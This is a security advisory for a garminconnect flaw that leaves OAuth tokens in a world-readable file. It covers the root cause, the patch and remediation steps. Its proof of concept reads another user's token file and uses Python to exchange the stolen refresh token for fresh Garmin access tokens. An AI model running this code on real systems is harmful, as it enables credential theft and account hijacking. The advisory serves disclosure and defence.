CVE-2026-54447: garminconnect World-Readable OAuth Token File
The garminconnect Python library wrote Garmin OAuth tokens to disk without restricting file permissions, letting any local user on a shared machine read the token file and hijack the victim's Garmin C
The problem
garminconnect versions up to and including 0.3.4 persisted OAuth tokens via `Client.dump()`, which called `Path.mkdir()` and `Path.write_text()` with no explicit `mode` argument.
Under the default Linux umask of `022`, this produced a token directory at `0o755` and `garmin_tokens.json` at `0o644`, both world-readable. The file serializes `di_token`, `di_refresh_token`, and `di_client_id`. Any unprivileged local user could open and read it without any elevated access.
Proof of concept
A working proof-of-concept for CVE-2026-54447 in garminconnect, with the exact payload below.
# On a shared host, an unprivileged second user can read the victim's token file directly:
cat /home/victim/.garminconnect/garmin_tokens.json
# The file is world-readable (0o644) under umask 022:
# -rw-r--r-- 1 victim victim ... garmin_tokens.json
#
# Extracted refresh token can then be exchanged for fresh access tokens:
import json, requests
tokens = json.load(open("/home/victim/.garminconnect/garmin_tokens.json"))
refresh_token = tokens["di_refresh_token"]
client_id = tokens["di_client_id"]
resp = requests.post(
"https://diauth.garmin.com/api/v1/oauth2/token",
data={
"grant_type": "refresh_token",
"refresh_token": refresh_token,
"client_id": client_id,
},
)
print(resp.json()) # returns a fresh access_tokenThe root cause (CWE-732) is that `Path.mkdir()` and `Path.write_text()` both inherit permissions from the process umask. No `mode=` argument was passed, so the umask of `022` produced group- and world-readable results.
The patch (commit `77a3837`) explicitly passes `mode=0o700` to `mkdir()`, then opens the token file with `os.open(..., O_WRONLY|O_CREAT|O_TRUNC|O_NOFOLLOW, 0o600)` so the kernel creates it at `0o600` before any data is written. A defensive `p.chmod(0o600)` also tightens any pre-existing loose file on the next write.
The `O_NOFOLLOW` flag closes a secondary symlink-race vector where an attacker could pre-place a symlink at the token path to redirect the write to an arbitrary file.
The fix
Upgrade to `garminconnect >= 0.3.5`:
```bash pip install --upgrade garminconnect ```
Upgrading only tightens permissions on the NEXT write. Fix any token file already on disk immediately:
```bash chmod 700 ~/.garminconnect chmod 600 ~/.garminconnect/garmin_tokens.json ```
If the file was exposed on a shared host, treat the refresh token as compromised. Delete the token store and re-authenticate to mint a fresh token, then consider revoking the old one via Garmin's account settings.
Reported by EQSTLab.
Related research
- high · 8.8CVE-2026-54449CVE-2026-54449: LangBot Authenticated RCE via MCP STDIO Command Injection
- high · 8.1CVE-2026-54446CVE-2026-54446: netlicensing-mcp Unauthenticated API Key Exposure in HTTP Mode
- high · 7.5json-repair Circular JSON Schema $ref Infinite Loop DoS
- high · 8.1CVE-2026-61668CVE-2026-61668: DIRAC PilotWrapper Disabled TLS Certificate Validation